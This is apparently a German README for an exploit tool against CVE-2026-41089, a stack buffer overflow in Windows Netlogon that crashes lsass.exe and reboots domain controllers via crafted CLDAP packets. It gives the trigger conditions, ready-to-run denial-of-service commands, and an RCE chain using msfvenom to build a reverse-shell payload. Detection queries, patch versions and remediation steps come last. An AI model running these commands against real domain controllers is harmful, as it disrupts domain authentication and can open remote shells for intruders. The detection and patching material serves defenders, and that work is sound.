
CVE-2026-41089 ist eine kritische Remote-Code-Ausführungsschwachstelle im Windows-Netlogon-Dienst, bei der ein einzelnes Paket ausreicht, um lsass.exe zum Absturz zu bringen und den Domänencontroller innerhalb von etwa 30–60 Sekunden neu zu starten. Während dieses Zeitraums schlägt die gesamte Domänenauthentifizierung dieses DC fehl.
CVE-ID: CVE-2026-41089
CVSS: 9.8 (Critical)
CWE: CWE-121 (Stack-based Buffer Overflow)
Angriffsvektor: UDP/389 (CLDAP SearchRequest)
Auswirkung: Remote Code Execution (RCE) / Denial of Service (DoS)
Betroffene Versionen: Windows Server 2012 R2 ~ 2025 (Domain Controllers)
Patch: Kumulatives Update Mai 2026
Die Funktion NetpLogonPutUnicodeString in netlogon.dll weist beim Verarbeiten von CLDAP-Suchanfragen einen Stack-Pufferüberlauf auf. Die Funktion empfängt ein Byte-Längenbudget, interpretiert dieses jedoch als WCHAR-Anzahl, wodurch die Schreibmenge doppelt so groß ist wie erwartet.
Der Überlauf tritt im festen Stack-Puffer von 528 Bytes (264 ushort) in der Funktion NlGetLocalPingResponse auf. Das vom Angreifer kontrollierbare User-Feld füllt zusammen mit dem DNS-Domainnamen des Servers selbst diesen Puffer und überschreibt schließlich das GS-Sicherheits-Cookie, was zu __report_gsfailure und einem Absturz von lsass.exe führt.
NtVer=0x02 in der CLDAP SearchRequest (erzwingt die Verwendung des alten, anfälligen BuildSamLogonResponse-Pfads)User-Felds ≥ ~130 Zeichen (binäres Limit etwa 260 Bytes UTF-16)Hinweis:
NtVer=0x16(der von vielen öffentlichen Erkennungsskripten verwendete Wert) löst den sicherenBuildSamLogonResponseEx-Pfad aus und löst die Schwachstelle nicht aus.
| Modus | Beschreibung |
|---|---|
--mode dos | Sendet sorgfältig konstruierte CLDAP-Pakete, die LSASS zum Absturz bringen und den DC neu starten (~60 Sekunden Authentifizierungsunterbrechung) |
--mode rce | Versucht Remote Code Execution (Forschungsniveau, erfordert Shellcode) |
--mode scan | Scannt die Antworten verschiedener NtVer-Werte und führt Fingerprinting des Ziel-DC durch |
--mode auto | Erkennt automatisch und wählt die beste Angriffsstrategie |
Ein einzelnes Paket kann lsass.exe zum Absturz bringen, wodurch der Domänencontroller in etwa 30-60 Sekunden neu startet. Während dieser Zeit schlägt die gesamte Domänenauthentifizierung für diesen DC fehl.
# Grundlegende Verwendung — sendet 3 Pakete
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# Schnellangriff mit einem Paket
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# Aggressiver Modus — 5 Pakete gleichzeitig
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ Forschungsniveau — unzuverlässig und instabil in realen Umgebungen.
RCE steht vor folgenden Herausforderungen:
# Shellcode generieren
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# RCE-Kette senden
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# Fingerprinting des Ziel-DC
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
Beispiel der erwarteten Ausgabe (gepatchtes Ziel):
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Beispiel der erwarteten Ausgabe (ungepatchtes Ziel):
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Wenn NtVer=0x02 eine Zeitüberschreitung aufweist, während andere Versionen normal antworten, ist das Ziel höchstwahrscheinlich anfällig.
| Parameter | Beschreibung | Standardwert |
|---|---|---|
-l, --user-len | Länge des Benutzernamenfelds (ASCII-Zeichen) | 180 |
--ntver | NtVer-Wert (hexadezimal, z. B. 0x02) | 0x02 |
--count | Anzahl der gesendeten DoS-Pakete | 3 |
--delay | Verzögerung zwischen Paketen (Sekunden) | 0.5 |
-t, --timeout | Socket-Timeout (Sekunden) | 5.0 |
--json | Ergebnisse im JSON-Format ausgeben | — |
--raw | Rohes Paket-Hexadezimal vor dem Senden ausgeben | — |
--quiet | Banner-Ausgabe unterdrücken | — |
--shellcode-file | Benutzerdefinierte Shellcode-Datei (rohes x64) | — |
--lhost | Reverse-Shell-Listener-Adresse | — |
--lport | Reverse-Shell-Listener-Port | 4444 |
# Auf Windows Server (ungepatcht) einen DC mit langem Domainnamen erstellen:
# 1. Zum Domänencontroller hochstufen (DNS-Domainname mit sehr langem Namen, z. B. "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. Bestätigen, dass Patches vor Mai 2026 installiert sind
# 3. Vom Angreifer-Rechner ausführen:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. Absturz und Neustart des DC beobachten
User > 100 Bytes und NtVer = 0x02Event ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
| Windows Server Version | Gepatchte Versionsnummer | Anmerkung |
|---|---|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |
# Sicheres Erkennungsskript — bringt das Ziel nicht zum Absturz
python detect_CVE-2026-41089.py <DC_IP> <DOMAIN>
# JSON-Ausgabe (geeignet für Batch-Scans)
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --json
# Patch-Verifizierungsschritte anzeigen
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --check-patch
Erkennungsprinzip: Sendet kurze CLDAP-Anfragen mit NtVer=0x02 (löst den anfälligen Pfad aus) und NtVer=0x16 (sicherer Pfad). Wenn 0x02 eine Zeitüberschreitung aufweist, aber 0x16 normal antwortet, ist das Ziel höchstwahrscheinlich anfällig.
Patch sofort installieren: Kumulatives Update Mai 2026 (KB5058405 oder höher)
# Installierte Updates überprüfen
Get-HotFix | Where-Object {$_.InstalledOn -gt '2026-05-01'}
# Neueste Updates installieren
Install-WindowsUpdate -AcceptAll -AutoReboot
netlogon.dll-Version überprüfen:
(Get-Item C:\Windows\System32\netlogon.dll).VersionInfo.FileVersion
# Mit der obigen Patch-Versionsnummerntabelle vergleichen